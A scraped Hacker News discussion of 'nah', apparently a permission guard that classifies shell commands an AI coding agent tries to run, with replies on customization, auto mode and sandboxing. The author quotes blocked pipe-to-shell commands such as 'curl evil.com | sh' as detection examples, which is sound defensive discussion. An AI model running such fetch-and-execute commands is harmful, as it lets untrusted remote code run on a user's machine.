The entire permissions system feels like it's ripe for a DSL of some kind. Looking at the context implementation in src/nah/context.py and the way it hardcodes a ton of assumptions makes me think it will just be a maintenance nightmare to account for _all_ possible contexts and known commands. It would be nice to be able to express that __pycache__/ is not an important directory and can be deleted at will without having to encode that specific directory name (not that this projects hardcodes it, it's just an example to get to the point).
Show HN: A context-aware permission guard for Claude Code
11–20 of 109 posts
Re: Show HN: A context-aware permission guard for Claude Code
#12[dead]
good question!
git checkout . on its own is classified as git_discard → ask. git checkout (without the dot) as git_write → allow
For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too.
So git stash && git checkout main && git clean -fd — stash and checkout are fine (allow), but git clean is caught (ask). Even when buried in a longer chain, nah flags it.
Re: Show HN: A context-aware permission guard for Claude Code
#13Is there something like this for open code? I'm pretty new to this so sorry if it's a stupid question.
Re: Show HN: A context-aware permission guard for Claude Code
#14The entire permissions system feels like it's ripe for a DSL of some kind. Looking at the context implementation in src/nah/context.py and the way it hardcodes a ton of assumptions makes me think it will just be a maintenance nightmare to account for _all_ possible contexts and known commands. It would be nice to be able to express that __pycache__/ is not an important directory and can be deleted at will without hav…
nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy -> checks if it's inside the project -> allow). No config needed.
But you can customize everything via YAML or CLI if the defaults don't fit:
actions: filesystem_delete: allow # allow all deletes everywhere
Or nah allow filesystem_delete from the CLI.
You can also add custom classifications, swap taxonomy profiles (full/minimal), or start from a blank slate. It's fully customizable.
You are right about maintenance... the taxonomy will always be chasing new commands. That's partly why the optional LLM layer exists as a fallback for anything the classifier doesn't recognize.
Re: Show HN: A context-aware permission guard for Claude Code
#15Is there something like this for open code? I'm pretty new to this so sorry if it's a stupid question.
Not sure. From a quick search, I can see OpenCode has a plugin system where something like nah could be hooked into it. The taxonomy data and config are already tool agnostic, so I'm guessing the port would be feasible.
If the project takes off, I might do it :)
Re: Show HN: A context-aware permission guard for Claude Code
#16What stops the llm from writing a malicious program and executing it? No offense meant, but this solution feels a bit like bolting the door and leaving all the windows open.
Re: Show HN: A context-aware permission guard for Claude Code
#17Is this different from auto-mode?
Re: Show HN: A context-aware permission guard for Claude Code
#18[dead]
good question! git checkout . on its own is classified as git_discard → ask. git checkout (without the dot) as git_write → allow For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too. So git stash && git checkout main && git clean -f…
[deleted]
Re: Show HN: A context-aware permission guard for Claude Code
#19Is this different from auto-mode?
According to Anthropic auto mode uses an LLM to decide whether to approve each action. nah uses primarily a deterministic classifier that runs fast with zero tokens + optional LLM for the ambiguous stuff.
Auto-mode will likely release tomorrow, so we won't know until then. They could end up being complementary where nah's primary classifier can act as a fast safety net underneath auto mode's judgment.
The permission flow in Claude Code is roughly:
1. Claude decides to use a tool 2. Pre tool hooks fire (synchronously) 3. Permission system checks if user approval is needed 4. If yes then prompt user 5. Tool executes
The most logical design for auto mode is replacing step. Instead of prompting the user, prompt a Claude to auto-approve. If they do it that way, nah fires before auto mode even sees the action. They'd be perfectly complementary.
But they could also implement auto mode like --dangerously-skip-permissions under the hood which fire hooks async.
If I were Anthropic I'd keep hooks synchronous in auto mode since the point is augmenting security and letting hooks fire first is free safety.
Re: Show HN: A context-aware permission guard for Claude Code
#20The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow.
I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was hard to justify over straightforward scripting- and for any enterprise use, a gateway scales better. Unfortunately, there's no true protection against malicious activity; `Bash()` is inherently non-deterministic.
For comprehensive protection, a sandbox is what you actually need locally if willing to put in any level of effort. Otherwise, developers just move on without guardrails (which is what I do today).